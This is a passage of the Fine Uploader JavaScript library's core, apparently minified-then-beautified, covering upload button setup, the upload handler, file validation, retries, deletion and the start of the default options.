                        self._onUploadStatusChange(id, oldStatus, newStatus);
                        self._options.callbacks.onStatusChange(id, oldStatus, newStatus);
                        self._maybeAllComplete(id, newStatus);
                        if (self._totalProgress) {
                            setTimeout(function() {
                                self._totalProgress.onStatusChange(id, oldStatus, newStatus);
                            }, 0);
                        }
                    }
                });
            },
            _createUploadButton: function(spec) {
                var self = this, acceptFiles = spec.accept || this._options.validation.acceptFiles, allowedExtensions = spec.allowedExtensions || this._options.validation.allowedExtensions, button;
                function allowMultiple() {
                    if (qq.supportedFeatures.ajaxUploading) {
                        if (self._options.workarounds.iosEmptyVideos && qq.ios() && !qq.ios6() && self._isAllowedExtension(allowedExtensions, ".mov")) {
                            return false;
                        }
                        if (spec.multiple === undefined) {
                            return self._options.multiple;
                        }
                        return spec.multiple;
                    }
                    return false;
                }
                button = new qq.UploadButton({
                    acceptFiles: acceptFiles,
                    element: spec.element,
                    focusClass: this._options.classes.buttonFocus,
                    folders: spec.folders,
                    hoverClass: this._options.classes.buttonHover,
                    ios8BrowserCrashWorkaround: this._options.workarounds.ios8BrowserCrash,
                    multiple: allowMultiple(),
                    name: this._options.request.inputName,
                    onChange: function(input) {
                        self._onInputChange(input);
                    },
                    title: spec.title == null ? this._options.text.fileInputTitle : spec.title
                });
                this._disposeSupport.addDisposer(function() {
                    button.dispose();
                });
                self._buttons.push(button);
                return button;
            },
            _createUploadHandler: function(additionalOptions, namespace) {
                var self = this, lastOnProgress = {}, options = {
                    debug: this._options.debug,
                    maxConnections: this._options.maxConnections,
                    cors: this._options.cors,
                    paramsStore: this._paramsStore,
                    endpointStore: this._endpointStore,
                    chunking: this._options.chunking,
                    resume: this._options.resume,
                    blobs: this._options.blobs,
                    log: qq.bind(self.log, self),
                    preventRetryParam: this._options.retry.preventRetryResponseProperty,
                    onProgress: function(id, name, loaded, total) {
                        if (loaded < 0 || total < 0) {
                            return;
                        }
                        if (lastOnProgress[id]) {
                            if (lastOnProgress[id].loaded !== loaded || lastOnProgress[id].total !== total) {
                                self._onProgress(id, name, loaded, total);
                                self._options.callbacks.onProgress(id, name, loaded, total);
                            }
                        } else {
                            self._onProgress(id, name, loaded, total);
                            self._options.callbacks.onProgress(id, name, loaded, total);
                        }
                        lastOnProgress[id] = {
                            loaded: loaded,
                            total: total
                        };
                    },
                    onComplete: function(id, name, result, xhr) {
                        delete lastOnProgress[id];
                        var status = self.getUploads({
                            id: id
                        }).status, retVal;
                        if (status === qq.status.UPLOAD_SUCCESSFUL || status === qq.status.UPLOAD_FAILED) {
                            return;
                        }
                        retVal = self._onComplete(id, name, result, xhr);
                        if (retVal instanceof qq.Promise) {
                            retVal.done(function() {
                                self._options.callbacks.onComplete(id, name, result, xhr);
                            });
                        } else {
                            self._options.callbacks.onComplete(id, name, result, xhr);
                        }
                    },
                    onCancel: function(id, name, cancelFinalizationEffort) {
                        var promise = new qq.Promise();
                        self._handleCheckedCallback({
                            name: "onCancel",
                            callback: qq.bind(self._options.callbacks.onCancel, self, id, name),
                            onFailure: promise.failure,
                            onSuccess: function() {
                                cancelFinalizationEffort.then(function() {
                                    self._onCancel(id, name);
                                });
                                promise.success();
                            },
                            identifier: id
                        });
                        return promise;
                    },
                    onUploadPrep: qq.bind(this._onUploadPrep, this),
                    onUpload: function(id, name) {
                        self._onUpload(id, name);
                        self._options.callbacks.onUpload(id, name);
                    },
                    onUploadChunk: function(id, name, chunkData) {
                        self._onUploadChunk(id, chunkData);
                        self._options.callbacks.onUploadChunk(id, name, chunkData);
                    },
                    onUploadChunkSuccess: function(id, chunkData, result, xhr) {
                        self._options.callbacks.onUploadChunkSuccess.apply(self, arguments);
                    },
                    onResume: function(id, name, chunkData) {
                        return self._options.callbacks.onResume(id, name, chunkData);
                    },
                    onAutoRetry: function(id, name, responseJSON, xhr) {
                        return self._onAutoRetry.apply(self, arguments);
                    },
                    onUuidChanged: function(id, newUuid) {
                        self.log("Server requested UUID change from '" + self.getUuid(id) + "' to '" + newUuid + "'");
                        self.setUuid(id, newUuid);
                    },
                    getName: qq.bind(self.getName, self),
                    getUuid: qq.bind(self.getUuid, self),
                    getSize: qq.bind(self.getSize, self),
                    setSize: qq.bind(self._setSize, self),
                    getDataByUuid: function(uuid) {
                        return self.getUploads({
                            uuid: uuid
                        });
                    },
                    isQueued: function(id) {
                        var status = self.getUploads({
                            id: id
                        }).status;
                        return status === qq.status.QUEUED || status === qq.status.SUBMITTED || status === qq.status.UPLOAD_RETRYING || status === qq.status.PAUSED;
                    },
                    getIdsInProxyGroup: self._uploadData.getIdsInProxyGroup,
                    getIdsInBatch: self._uploadData.getIdsInBatch
                };
                qq.each(this._options.request, function(prop, val) {
                    options[prop] = val;
                });
                options.customHeaders = this._customHeadersStore;
                if (additionalOptions) {
                    qq.each(additionalOptions, function(key, val) {
                        options[key] = val;
                    });
                }
                return new qq.UploadHandlerController(options, namespace);
            },
            _fileOrBlobRejected: function(id) {
                this._netUploadedOrQueued--;
                this._uploadData.setStatus(id, qq.status.REJECTED);
            },
            _formatSize: function(bytes) {
                var i = -1;
                do {
                    bytes = bytes / 1e3;
                    i++;
                } while (bytes > 999);
                return Math.max(bytes, .1).toFixed(1) + this._options.text.sizeSymbols[i];
            },
            _generateExtraButtonSpecs: function() {
                var self = this;
                this._extraButtonSpecs = {};
                qq.each(this._options.extraButtons, function(idx, extraButtonOptionEntry) {
                    var multiple = extraButtonOptionEntry.multiple, validation = qq.extend({}, self._options.validation, true), extraButtonSpec = qq.extend({}, extraButtonOptionEntry);
                    if (multiple === undefined) {
                        multiple = self._options.multiple;
                    }
                    if (extraButtonSpec.validation) {
                        qq.extend(validation, extraButtonOptionEntry.validation, true);
                    }
                    qq.extend(extraButtonSpec, {
                        multiple: multiple,
                        validation: validation
                    }, true);
                    self._initExtraButton(extraButtonSpec);
                });
            },
            _getButton: function(buttonId) {
                var extraButtonsSpec = this._extraButtonSpecs[buttonId];
                if (extraButtonsSpec) {
                    return extraButtonsSpec.element;
                } else if (buttonId === this._defaultButtonId) {
                    return this._options.button;
                }
            },
            _getButtonId: function(buttonOrFileInputOrFile) {
                var inputs, fileInput, fileBlobOrInput = buttonOrFileInputOrFile;
                if (fileBlobOrInput instanceof qq.BlobProxy) {
                    fileBlobOrInput = fileBlobOrInput.referenceBlob;
                }
                if (fileBlobOrInput && !qq.isBlob(fileBlobOrInput)) {
                    if (qq.isFile(fileBlobOrInput)) {
                        return fileBlobOrInput.qqButtonId;
                    } else if (fileBlobOrInput.tagName.toLowerCase() === "input" && fileBlobOrInput.type.toLowerCase() === "file") {
                        return fileBlobOrInput.getAttribute(qq.UploadButton.BUTTON_ID_ATTR_NAME);
                    }
                    inputs = fileBlobOrInput.getElementsByTagName("input");
                    qq.each(inputs, function(idx, input) {
                        if (input.getAttribute("type") === "file") {
                            fileInput = input;
                            return false;
                        }
                    });
                    if (fileInput) {
                        return fileInput.getAttribute(qq.UploadButton.BUTTON_ID_ATTR_NAME);
                    }
                }
            },
            _getNotFinished: function() {
                return this._uploadData.retrieve({
                    status: [ qq.status.UPLOADING, qq.status.UPLOAD_RETRYING, qq.status.QUEUED, qq.status.SUBMITTING, qq.status.SUBMITTED, qq.status.PAUSED ]
                }).length;
            },
            _getValidationBase: function(buttonId) {
                var extraButtonSpec = this._extraButtonSpecs[buttonId];
                return extraButtonSpec ? extraButtonSpec.validation : this._options.validation;
            },
            _getValidationDescriptor: function(fileWrapper) {
                if (fileWrapper.file instanceof qq.BlobProxy) {
                    return {
                        name: qq.getFilename(fileWrapper.file.referenceBlob),
                        size: fileWrapper.file.referenceBlob.size
                    };
                }
                return {
                    name: this.getUploads({
                        id: fileWrapper.id
                    }).name,
                    size: this.getUploads({
                        id: fileWrapper.id
                    }).size
                };
            },
            _getValidationDescriptors: function(fileWrappers) {
                var self = this, fileDescriptors = [];
                qq.each(fileWrappers, function(idx, fileWrapper) {
                    fileDescriptors.push(self._getValidationDescriptor(fileWrapper));
                });
                return fileDescriptors;
            },
            _handleCameraAccess: function() {
                if (this._options.camera.ios && qq.ios()) {
                    var acceptIosCamera = "image/*;capture=camera", button = this._options.camera.button, buttonId = button ? this._getButtonId(button) : this._defaultButtonId, optionRoot = this._options;
                    if (buttonId && buttonId !== this._defaultButtonId) {
                        optionRoot = this._extraButtonSpecs[buttonId];
                    }
                    optionRoot.multiple = false;
                    if (optionRoot.validation.acceptFiles === null) {
                        optionRoot.validation.acceptFiles = acceptIosCamera;
                    } else {
                        optionRoot.validation.acceptFiles += "," + acceptIosCamera;
                    }
                    qq.each(this._buttons, function(idx, button) {
                        if (button.getButtonId() === buttonId) {
                            button.setMultiple(optionRoot.multiple);
                            button.setAcceptFiles(optionRoot.acceptFiles);
                            return false;
                        }
                    });
                }
            },
            _handleCheckedCallback: function(details) {
                var self = this, callbackRetVal = details.callback();
                if (qq.isGenericPromise(callbackRetVal)) {
                    this.log(details.name + " - waiting for " + details.name + " promise to be fulfilled for " + details.identifier);
                    return callbackRetVal.then(function(successParam) {
                        self.log(details.name + " promise success for " + details.identifier);
                        details.onSuccess(successParam);
                    }, function() {
                        if (details.onFailure) {
                            self.log(details.name + " promise failure for " + details.identifier);
                            details.onFailure();
                        } else {
                            self.log(details.name + " promise failure for " + details.identifier);
                        }
                    });
                }
                if (callbackRetVal !== false) {
                    details.onSuccess(callbackRetVal);
                } else {
                    if (details.onFailure) {
                        this.log(details.name + " - return value was 'false' for " + details.identifier + ".  Invoking failure callback.");
                        details.onFailure();
                    } else {
                        this.log(details.name + " - return value was 'false' for " + details.identifier + ".  Will not proceed.");
                    }
                }
                return callbackRetVal;
            },
            _handleNewFile: function(file, batchId, newFileWrapperList) {
                var self = this, uuid = qq.getUniqueId(), size = -1, name = qq.getFilename(file), actualFile = file.blob || file, handler = this._customNewFileHandler ? this._customNewFileHandler : qq.bind(self._handleNewFileGeneric, self);
                if (!qq.isInput(actualFile) && actualFile.size >= 0) {
                    size = actualFile.size;
                }
                handler(actualFile, name, uuid, size, newFileWrapperList, batchId, this._options.request.uuidName, {
                    uploadData: self._uploadData,
                    paramsStore: self._paramsStore,
                    addFileToHandler: function(id, file) {
                        self._handler.add(id, file);
                        self._netUploadedOrQueued++;
                        self._trackButton(id);
                    }
                });
            },
            _handleNewFileGeneric: function(file, name, uuid, size, fileList, batchId) {
                var id = this._uploadData.addFile({
                    uuid: uuid,
                    name: name,
                    size: size,
                    batchId: batchId
                });
                this._handler.add(id, file);
                this._trackButton(id);
                this._netUploadedOrQueued++;
                fileList.push({
                    id: id,
                    file: file
                });
            },
            _handlePasteSuccess: function(blob, extSuppliedName) {
                var extension = blob.type.split("/")[1], name = extSuppliedName;
                if (name == null) {
                    name = this._options.paste.defaultName;
                }
                name += "." + extension;
                this.addFiles({
                    name: name,
                    blob: blob
                });
            },
            _initExtraButton: function(spec) {
                var button = this._createUploadButton({
                    accept: spec.validation.acceptFiles,
                    allowedExtensions: spec.validation.allowedExtensions,
                    element: spec.element,
                    folders: spec.folders,
                    multiple: spec.multiple,
                    title: spec.fileInputTitle
                });
                this._extraButtonSpecs[button.getButtonId()] = spec;
            },
            _initFormSupportAndParams: function() {
                this._formSupport = qq.FormSupport && new qq.FormSupport(this._options.form, qq.bind(this.uploadStoredFiles, this), qq.bind(this.log, this));
                if (this._formSupport && this._formSupport.attachedToForm) {
                    this._paramsStore = this._createStore(this._options.request.params, this._formSupport.getFormInputsAsObject);
                    this._options.autoUpload = this._formSupport.newAutoUpload;
                    if (this._formSupport.newEndpoint) {
                        this._options.request.endpoint = this._formSupport.newEndpoint;
                    }
                } else {
                    this._paramsStore = this._createStore(this._options.request.params);
                }
            },
            _isDeletePossible: function() {
                if (!qq.DeleteFileAjaxRequester || !this._options.deleteFile.enabled) {
                    return false;
                }
                if (this._options.cors.expected) {
                    if (qq.supportedFeatures.deleteFileCorsXhr) {
                        return true;
                    }
                    if (qq.supportedFeatures.deleteFileCorsXdr && this._options.cors.allowXdr) {
                        return true;
                    }
                    return false;
                }
                return true;
            },
            _isAllowedExtension: function(allowed, fileName) {
                var valid = false;
                if (!allowed.length) {
                    return true;
                }
                qq.each(allowed, function(idx, allowedExt) {
                    if (qq.isString(allowedExt)) {
                        var extRegex = new RegExp("\\." + allowedExt + "$", "i");
                        if (fileName.match(extRegex) != null) {
                            valid = true;
                            return false;
                        }
                    }
                });
                return valid;
            },
            _itemError: function(code, maybeNameOrNames, item) {
                var message = this._options.messages[code], allowedExtensions = [], names = [].concat(maybeNameOrNames), name = names[0], buttonId = this._getButtonId(item), validationBase = this._getValidationBase(buttonId), extensionsForMessage, placeholderMatch;
                function r(name, replacement) {
                    message = message.replace(name, replacement);
                }
                qq.each(validationBase.allowedExtensions, function(idx, allowedExtension) {
                    if (qq.isString(allowedExtension)) {
                        allowedExtensions.push(allowedExtension);
                    }
                });
                extensionsForMessage = allowedExtensions.join(", ").toLowerCase();
                r("{file}", this._options.formatFileName(name));
                r("{extensions}", extensionsForMessage);
                r("{sizeLimit}", this._formatSize(validationBase.sizeLimit));
                r("{minSizeLimit}", this._formatSize(validationBase.minSizeLimit));
                placeholderMatch = message.match(/(\{\w+\})/g);
                if (placeholderMatch !== null) {
                    qq.each(placeholderMatch, function(idx, placeholder) {
                        r(placeholder, names[idx]);
                    });
                }
                this._options.callbacks.onError(null, name, message, undefined);
                return message;
            },
            _manualRetry: function(id, callback) {
                if (this._onBeforeManualRetry(id)) {
                    this._netUploadedOrQueued++;
                    this._uploadData.setStatus(id, qq.status.UPLOAD_RETRYING);
                    if (callback) {
                        callback(id);
                    } else {
                        this._handler.retry(id);
                    }
                    return true;
                }
            },
            _maybeAllComplete: function(id, status) {
                var self = this, notFinished = this._getNotFinished();
                if (status === qq.status.UPLOAD_SUCCESSFUL) {
                    this._succeededSinceLastAllComplete.push(id);
                } else if (status === qq.status.UPLOAD_FAILED) {
                    this._failedSinceLastAllComplete.push(id);
                }
                if (notFinished === 0 && (this._succeededSinceLastAllComplete.length || this._failedSinceLastAllComplete.length)) {
                    setTimeout(function() {
                        self._onAllComplete(self._succeededSinceLastAllComplete, self._failedSinceLastAllComplete);
                    }, 0);
                }
            },
            _maybeHandleIos8SafariWorkaround: function() {
                var self = this;
                if (this._options.workarounds.ios8SafariUploads && qq.ios800() && qq.iosSafari()) {
                    setTimeout(function() {
                        window.alert(self._options.messages.unsupportedBrowserIos8Safari);
                    }, 0);
                    throw new qq.Error(this._options.messages.unsupportedBrowserIos8Safari);
                }
            },
            _maybeParseAndSendUploadError: function(id, name, response, xhr) {
                if (!response.success) {
                    if (xhr && xhr.status !== 200 && !response.error) {
                        this._options.callbacks.onError(id, name, "XHR returned response code " + xhr.status, xhr);
                    } else {
                        var errorReason = response.error ? response.error : this._options.text.defaultResponseError;
                        this._options.callbacks.onError(id, name, errorReason, xhr);
                    }
                }
            },
            _maybeProcessNextItemAfterOnValidateCallback: function(validItem, items, index, params, endpoint) {
                var self = this;
                if (items.length > index) {
                    if (validItem || !this._options.validation.stopOnFirstInvalidFile) {
                        setTimeout(function() {
                            var validationDescriptor = self._getValidationDescriptor(items[index]), buttonId = self._getButtonId(items[index].file), button = self._getButton(buttonId);
                            self._handleCheckedCallback({
                                name: "onValidate",
                                callback: qq.bind(self._options.callbacks.onValidate, self, validationDescriptor, button),
                                onSuccess: qq.bind(self._onValidateCallbackSuccess, self, items, index, params, endpoint),
                                onFailure: qq.bind(self._onValidateCallbackFailure, self, items, index, params, endpoint),
                                identifier: "Item '" + validationDescriptor.name + "', size: " + validationDescriptor.size
                            });
                        }, 0);
                    } else if (!validItem) {
                        for (;index < items.length; index++) {
                            self._fileOrBlobRejected(items[index].id);
                        }
                    }
                }
            },
            _onAllComplete: function(successful, failed) {
                this._totalProgress && this._totalProgress.onAllComplete(successful, failed, this._preventRetries);
                this._options.callbacks.onAllComplete(qq.extend([], successful), qq.extend([], failed));
                this._succeededSinceLastAllComplete = [];
                this._failedSinceLastAllComplete = [];
            },
            _onAutoRetry: function(id, name, responseJSON, xhr, callback) {
                var self = this;
                self._preventRetries[id] = responseJSON[self._options.retry.preventRetryResponseProperty];
                if (self._shouldAutoRetry(id, name, responseJSON)) {
                    self._maybeParseAndSendUploadError.apply(self, arguments);
                    self._options.callbacks.onAutoRetry(id, name, self._autoRetries[id]);
                    self._onBeforeAutoRetry(id, name);
                    self._retryTimeouts[id] = setTimeout(function() {
                        self.log("Retrying " + name + "...");
                        self._uploadData.setStatus(id, qq.status.UPLOAD_RETRYING);
                        if (callback) {
                            callback(id);
                        } else {
                            self._handler.retry(id);
                        }
                    }, self._options.retry.autoAttemptDelay * 1e3);
                    return true;
                }
            },
            _onBeforeAutoRetry: function(id, name) {
                this.log("Waiting " + this._options.retry.autoAttemptDelay + " seconds before retrying " + name + "...");
            },
            _onBeforeManualRetry: function(id) {
                var itemLimit = this._currentItemLimit, fileName;
                if (this._preventRetries[id]) {
                    this.log("Retries are forbidden for id " + id, "warn");
                    return false;
                } else if (this._handler.isValid(id)) {
                    fileName = this.getName(id);
                    if (this._options.callbacks.onManualRetry(id, fileName) === false) {
                        return false;
                    }
                    if (itemLimit > 0 && this._netUploadedOrQueued + 1 > itemLimit) {
                        this._itemError("retryFailTooManyItems");
                        return false;
                    }
                    this.log("Retrying upload for '" + fileName + "' (id: " + id + ")...");
                    return true;
                } else {
                    this.log("'" + id + "' is not a valid file ID", "error");
                    return false;
                }
            },
            _onCancel: function(id, name) {
                this._netUploadedOrQueued--;
                clearTimeout(this._retryTimeouts[id]);
                var storedItemIndex = qq.indexOf(this._storedIds, id);
                if (!this._options.autoUpload && storedItemIndex >= 0) {
                    this._storedIds.splice(storedItemIndex, 1);
                }
                this._uploadData.setStatus(id, qq.status.CANCELED);
            },
            _onComplete: function(id, name, result, xhr) {
                if (!result.success) {
                    this._netUploadedOrQueued--;
                    this._uploadData.setStatus(id, qq.status.UPLOAD_FAILED);
                    if (result[this._options.retry.preventRetryResponseProperty] === true) {
                        this._preventRetries[id] = true;
                    }
                } else {
                    if (result.thumbnailUrl) {
                        this._thumbnailUrls[id] = result.thumbnailUrl;
                    }
                    this._netUploaded++;
                    this._uploadData.setStatus(id, qq.status.UPLOAD_SUCCESSFUL);
                }
                this._maybeParseAndSendUploadError(id, name, result, xhr);
                return result.success ? true : false;
            },
            _onDelete: function(id) {
                this._uploadData.setStatus(id, qq.status.DELETING);
            },
            _onDeleteComplete: function(id, xhrOrXdr, isError) {
                var name = this.getName(id);
                if (isError) {
                    this._uploadData.setStatus(id, qq.status.DELETE_FAILED);
                    this.log("Delete request for '" + name + "' has failed.", "error");
                    if (xhrOrXdr.withCredentials === undefined) {
                        this._options.callbacks.onError(id, name, "Delete request failed", xhrOrXdr);
                    } else {
                        this._options.callbacks.onError(id, name, "Delete request failed with response code " + xhrOrXdr.status, xhrOrXdr);
                    }
                } else {
                    this._netUploadedOrQueued--;
                    this._netUploaded--;
                    this._handler.expunge(id);
                    this._uploadData.setStatus(id, qq.status.DELETED);
                    this.log("Delete request for '" + name + "' has succeeded.");
                }
            },
            _onInputChange: function(input) {
                var fileIndex;
                if (qq.supportedFeatures.ajaxUploading) {
                    for (fileIndex = 0; fileIndex < input.files.length; fileIndex++) {
                        this._annotateWithButtonId(input.files[fileIndex], input);
                    }
                    this.addFiles(input.files);
                } else if (input.value.length > 0) {
                    this.addFiles(input);
                }
                qq.each(this._buttons, function(idx, button) {
                    button.reset();
                });
            },
            _onProgress: function(id, name, loaded, total) {
                this._totalProgress && this._totalProgress.onIndividualProgress(id, loaded, total);
            },
            _onSubmit: function(id, name) {},
            _onSubmitCallbackSuccess: function(id, name) {
                this._onSubmit.apply(this, arguments);
                this._uploadData.setStatus(id, qq.status.SUBMITTED);
                this._onSubmitted.apply(this, arguments);
                if (this._options.autoUpload) {
                    this._options.callbacks.onSubmitted.apply(this, arguments);
                    this._uploadFile(id);
                } else {
                    this._storeForLater(id);
                    this._options.callbacks.onSubmitted.apply(this, arguments);
                }
            },
            _onSubmitDelete: function(id, onSuccessCallback, additionalMandatedParams) {
                var uuid = this.getUuid(id), adjustedOnSuccessCallback;
                if (onSuccessCallback) {
                    adjustedOnSuccessCallback = qq.bind(onSuccessCallback, this, id, uuid, additionalMandatedParams);
                }
                if (this._isDeletePossible()) {
                    this._handleCheckedCallback({
                        name: "onSubmitDelete",
                        callback: qq.bind(this._options.callbacks.onSubmitDelete, this, id),
                        onSuccess: adjustedOnSuccessCallback || qq.bind(this._deleteHandler.sendDelete, this, id, uuid, additionalMandatedParams),
                        identifier: id
                    });
                    return true;
                } else {
                    this.log("Delete request ignored for ID " + id + ", delete feature is disabled or request not possible " + "due to CORS on a user agent that does not support pre-flighting.", "warn");
                    return false;
                }
            },
            _onSubmitted: function(id) {},
            _onTotalProgress: function(loaded, total) {
                this._options.callbacks.onTotalProgress(loaded, total);
            },
            _onUploadPrep: function(id) {},
            _onUpload: function(id, name) {
                this._uploadData.setStatus(id, qq.status.UPLOADING);
            },
            _onUploadChunk: function(id, chunkData) {},
            _onUploadStatusChange: function(id, oldStatus, newStatus) {
                if (newStatus === qq.status.PAUSED) {
                    clearTimeout(this._retryTimeouts[id]);
                }
            },
            _onValidateBatchCallbackFailure: function(fileWrappers) {
                var self = this;
                qq.each(fileWrappers, function(idx, fileWrapper) {
                    self._fileOrBlobRejected(fileWrapper.id);
                });
            },
            _onValidateBatchCallbackSuccess: function(validationDescriptors, items, params, endpoint, button) {
                var errorMessage, itemLimit = this._currentItemLimit, proposedNetFilesUploadedOrQueued = this._netUploadedOrQueued;
                if (itemLimit === 0 || proposedNetFilesUploadedOrQueued <= itemLimit) {
                    if (items.length > 0) {
                        this._handleCheckedCallback({
                            name: "onValidate",
                            callback: qq.bind(this._options.callbacks.onValidate, this, validationDescriptors[0], button),
                            onSuccess: qq.bind(this._onValidateCallbackSuccess, this, items, 0, params, endpoint),
                            onFailure: qq.bind(this._onValidateCallbackFailure, this, items, 0, params, endpoint),
                            identifier: "Item '" + items[0].file.name + "', size: " + items[0].file.size
                        });
                    } else {
                        this._itemError("noFilesError");
                    }
                } else {
                    this._onValidateBatchCallbackFailure(items);
                    errorMessage = this._options.messages.tooManyItemsError.replace(/\{netItems\}/g, proposedNetFilesUploadedOrQueued).replace(/\{itemLimit\}/g, itemLimit);
                    this._batchError(errorMessage);
                }
            },
            _onValidateCallbackFailure: function(items, index, params, endpoint) {
                var nextIndex = index + 1;
                this._fileOrBlobRejected(items[index].id, items[index].file.name);
                this._maybeProcessNextItemAfterOnValidateCallback(false, items, nextIndex, params, endpoint);
            },
            _onValidateCallbackSuccess: function(items, index, params, endpoint) {
                var self = this, nextIndex = index + 1, validationDescriptor = this._getValidationDescriptor(items[index]);
                this._validateFileOrBlobData(items[index], validationDescriptor).then(function() {
                    self._upload(items[index].id, params, endpoint);
                    self._maybeProcessNextItemAfterOnValidateCallback(true, items, nextIndex, params, endpoint);
                }, function() {
                    self._maybeProcessNextItemAfterOnValidateCallback(false, items, nextIndex, params, endpoint);
                });
            },
            _prepareItemsForUpload: function(items, params, endpoint) {
                if (items.length === 0) {
                    this._itemError("noFilesError");
                    return;
                }
                var validationDescriptors = this._getValidationDescriptors(items), buttonId = this._getButtonId(items[0].file), button = this._getButton(buttonId);
                this._handleCheckedCallback({
                    name: "onValidateBatch",
                    callback: qq.bind(this._options.callbacks.onValidateBatch, this, validationDescriptors, button),
                    onSuccess: qq.bind(this._onValidateBatchCallbackSuccess, this, validationDescriptors, items, params, endpoint, button),
                    onFailure: qq.bind(this._onValidateBatchCallbackFailure, this, items),
                    identifier: "batch validation"
                });
            },
            _preventLeaveInProgress: function() {
                var self = this;
                this._disposeSupport.attach(window, "beforeunload", function(e) {
                    if (self.getInProgress()) {
                        e = e || window.event;
                        e.returnValue = self._options.messages.onLeave;
                        return self._options.messages.onLeave;
                    }
                });
            },
            _refreshSessionData: function() {
                var self = this, options = this._options.session;
                if (qq.Session && this._options.session.endpoint != null) {
                    if (!this._session) {
                        qq.extend(options, {
                            cors: this._options.cors
                        });
                        options.log = qq.bind(this.log, this);
                        options.addFileRecord = qq.bind(this._addCannedFile, this);
                        this._session = new qq.Session(options);
                    }
                    setTimeout(function() {
                        self._session.refresh().then(function(response, xhrOrXdr) {
                            self._sessionRequestComplete();
                            self._options.callbacks.onSessionRequestComplete(response, true, xhrOrXdr);
                        }, function(response, xhrOrXdr) {
                            self._options.callbacks.onSessionRequestComplete(response, false, xhrOrXdr);
                        });
                    }, 0);
                }
            },
            _sessionRequestComplete: function() {},
            _setSize: function(id, newSize) {
                this._uploadData.updateSize(id, newSize);
                this._totalProgress && this._totalProgress.onNewSize(id);
            },
            _shouldAutoRetry: function(id, name, responseJSON) {
                var uploadData = this._uploadData.retrieve({
                    id: id
                });
                if (!this._preventRetries[id] && this._options.retry.enableAuto && uploadData.status !== qq.status.PAUSED) {
                    if (this._autoRetries[id] === undefined) {
                        this._autoRetries[id] = 0;
                    }
                    if (this._autoRetries[id] < this._options.retry.maxAutoAttempts) {
                        this._autoRetries[id] += 1;
                        return true;
                    }
                }
                return false;
            },
            _storeForLater: function(id) {
                this._storedIds.push(id);
            },
            _trackButton: function(id) {
                var buttonId;
                if (qq.supportedFeatures.ajaxUploading) {
                    buttonId = this._handler.getFile(id).qqButtonId;
                } else {
                    buttonId = this._getButtonId(this._handler.getInput(id));
                }
                if (buttonId) {
                    this._buttonIdsForFileIds[id] = buttonId;
                }
            },
            _updateFormSupportAndParams: function(formElementOrId) {
                this._options.form.element = formElementOrId;
                this._formSupport = qq.FormSupport && new qq.FormSupport(this._options.form, qq.bind(this.uploadStoredFiles, this), qq.bind(this.log, this));
                if (this._formSupport && this._formSupport.attachedToForm) {
                    this._paramsStore.addReadOnly(null, this._formSupport.getFormInputsAsObject);
                    this._options.autoUpload = this._formSupport.newAutoUpload;
                    if (this._formSupport.newEndpoint) {
                        this.setEndpoint(this._formSupport.newEndpoint);
                    }
                }
            },
            _upload: function(id, params, endpoint) {
                var name = this.getName(id);
                if (params) {
                    this.setParams(params, id);
                }
                if (endpoint) {
                    this.setEndpoint(endpoint, id);
                }
                this._handleCheckedCallback({
                    name: "onSubmit",
                    callback: qq.bind(this._options.callbacks.onSubmit, this, id, name),
                    onSuccess: qq.bind(this._onSubmitCallbackSuccess, this, id, name),
                    onFailure: qq.bind(this._fileOrBlobRejected, this, id, name),
                    identifier: id
                });
            },
            _uploadFile: function(id) {
                if (!this._handler.upload(id)) {
                    this._uploadData.setStatus(id, qq.status.QUEUED);
                }
            },
            _uploadStoredFiles: function() {
                var idToUpload, stillSubmitting, self = this;
                while (this._storedIds.length) {
                    idToUpload = this._storedIds.shift();
                    this._uploadFile(idToUpload);
                }
                stillSubmitting = this.getUploads({
                    status: qq.status.SUBMITTING
                }).length;
                if (stillSubmitting) {
                    qq.log("Still waiting for " + stillSubmitting + " files to clear submit queue. Will re-parse stored IDs array shortly.");
                    setTimeout(function() {
                        self._uploadStoredFiles();
                    }, 1e3);
                }
            },
            _validateFileOrBlobData: function(fileWrapper, validationDescriptor) {
                var self = this, file = function() {
                    if (fileWrapper.file instanceof qq.BlobProxy) {
                        return fileWrapper.file.referenceBlob;
                    }
                    return fileWrapper.file;
                }(), name = validationDescriptor.name, size = validationDescriptor.size, buttonId = this._getButtonId(fileWrapper.file), validationBase = this._getValidationBase(buttonId), validityChecker = new qq.Promise();
                validityChecker.then(function() {}, function() {
                    self._fileOrBlobRejected(fileWrapper.id, name);
                });
                if (qq.isFileOrInput(file) && !this._isAllowedExtension(validationBase.allowedExtensions, name)) {
                    this._itemError("typeError", name, file);
                    return validityChecker.failure();
                }
                if (size === 0) {
                    this._itemError("emptyError", name, file);
                    return validityChecker.failure();
                }
                if (size > 0 && validationBase.sizeLimit && size > validationBase.sizeLimit) {
                    this._itemError("sizeError", name, file);
                    return validityChecker.failure();
                }
                if (size > 0 && size < validationBase.minSizeLimit) {
                    this._itemError("minSizeError", name, file);
                    return validityChecker.failure();
                }
                if (qq.ImageValidation && qq.supportedFeatures.imagePreviews && qq.isFile(file)) {
                    new qq.ImageValidation(file, qq.bind(self.log, self)).validate(validationBase.image).then(validityChecker.success, function(errorCode) {
                        self._itemError(errorCode + "ImageError", name, file);
                        validityChecker.failure();
                    });
                } else {
                    validityChecker.success();
                }
                return validityChecker;
            },
            _wrapCallbacks: function() {
                var self, safeCallback, prop;
                self = this;
                safeCallback = function(name, callback, args) {
                    var errorMsg;
                    try {
                        return callback.apply(self, args);
                    } catch (exception) {
                        errorMsg = exception.message || exception.toString();
                        self.log("Caught exception in '" + name + "' callback - " + errorMsg, "error");
                    }
                };
                for (prop in this._options.callbacks) {
                    (function() {
                        var callbackName, callbackFunc;
                        callbackName = prop;
                        callbackFunc = self._options.callbacks[callbackName];
                        self._options.callbacks[callbackName] = function() {
                            return safeCallback(callbackName, callbackFunc, arguments);
                        };
                    })();
                }
            }
        };
    })();
    (function() {
        "use strict";
        qq.FineUploaderBasic = function(o) {
            var self = this;
            this._options = {
                debug: false,
                button: null,
                multiple: true,
                maxConnections: 3,
                disableCancelForFormUploads: false,
                autoUpload: true,
                request: {
                    customHeaders: {},
                    endpoint: "/server/upload",
                    filenameParam: "qqfilename",
                    forceMultipart: true,
                    inputName: "qqfile",
                    method: "POST",
                    params: {},
                    paramsInBody: true,
                    totalFileSizeName: "qqtotalfilesize",
                    uuidName: "qquuid"
                },
                validation: {
                    allowedExtensions: [],
                    sizeLimit: 0,
                    minSizeLimit: 0,
                    itemLimit: 0,
                    stopOnFirstInvalidFile: true,
                    acceptFiles: null,
                    image: {
                        maxHeight: 0,
                        maxWidth: 0,
                        minHeight: 0,
                        minWidth: 0
                    }
                },
                callbacks: {
                    onSubmit: function(id, name) {},
